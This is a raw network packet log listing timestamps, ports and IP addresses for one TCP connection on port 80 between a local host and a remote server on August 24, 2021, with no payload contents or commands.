Aug 24, 2021 14:01:31.226716042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.226761103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.226777077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.226839066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.226880074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.226896048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.226957083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227000952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227019072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227080107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227145910 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227186918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227243900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227286100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227298975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227354050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227394104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227415085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227468967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227513075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227525949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227585077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227627039 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227633953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227670908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227708101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227711916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227750063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227786064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227801085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227845907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227883101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.227884054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227929115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227971077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.227973938 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228010893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228054047 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228056908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228116989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228193045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228216887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228279114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228324890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228324890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228367090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228404999 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228410006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228450060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228491068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228493929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228532076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228584051 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228594065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228640079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228677988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228678942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228718996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228758097 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228760004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228797913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228833914 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228837967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228878021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228915930 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.228925943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.228970051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229007006 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229008913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229051113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229093075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229094028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229131937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229171991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229173899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229214907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229253054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229264021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229309082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229347944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229351044 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229387999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229423046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229428053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229465961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229506969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229520082 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229547024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229599953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229614019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229644060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229681969 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229682922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229724884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229763985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229765892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229804993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229841948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229846954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229890108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229927063 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.229938984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.229984999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.230024099 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.230025053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.230067968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.230103016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.230108023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252139091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252198935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252238035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252279043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252285957 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252310038 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252325058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252365112 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252387047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252440929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252485991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252485991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252526045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252566099 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252567053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252604008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252640009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252644062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252681971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252729893 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252729893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252774954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252814054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252815008 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252855062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252891064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252893925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252932072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.252966881 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.252969980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253007889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253053904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253057003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253102064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253142118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253145933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253200054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253242016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253245115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253284931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253320932 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253325939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253365040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253402948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253406048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253443956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253479958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253484964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253535032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253595114 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253595114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253634930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253670931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253675938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253715992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253755093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253757000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253794909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253834009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253834963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253885031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253921986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.253927946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.253966093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254004955 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254007101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254046917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254084110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254087925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254122972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254158020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254162073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254209995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254246950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254254103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254292965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254332066 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254332066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254373074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254407883 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254410982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254450083 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254486084 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254488945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254537106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254576921 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254582882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254621029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254653931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254662037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254703045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254745960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254750967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254791021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254826069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254829884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254879951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254920006 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.254924059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.254965067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255000114 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255006075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255062103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255141020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255146027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255198002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255239964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255243063 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255280972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255321980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255331993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255378962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255419970 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255420923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255462885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255502939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255505085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255554914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255593061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255594969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255635023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255671978 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255675077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255714893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255753994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255753994 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255803108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255842924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255846024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255883932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255918026 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.255924940 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.255964994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256006956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256010056 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256046057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256087065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256091118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256134987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256180048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256184101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256220102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256257057 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256263018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256303072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256340027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256340981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256380081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256414890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256419897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256469011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256510973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256511927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256552935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256588936 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256593943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256633997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256669998 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256671906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256712914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256747961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256751060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256799936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256839037 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256844044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256884098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256920099 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256922960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256963015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.256994963 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.256999969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257039070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257072926 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.257076025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257124901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257159948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.257167101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257206917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257246017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257246971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.257286072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257320881 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.257323980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257363081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257397890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.257401943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257450104 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.257487059 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.279469013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.279529095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.279568911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.279613018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.279650927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.279684067 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.279725075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.279731989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.279778957 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.279795885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.279850006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.279896975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.279921055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.306557894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.328632116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328792095 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.328803062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328828096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328849077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328870058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328892946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328903913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.328917980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328941107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328948975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.328963995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.328972101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.328983068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329001904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329009056 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329022884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329046011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329052925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329066038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329088926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.329099894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.329113960 CEST	80	49723	212.224.105.79	192.168.2.3
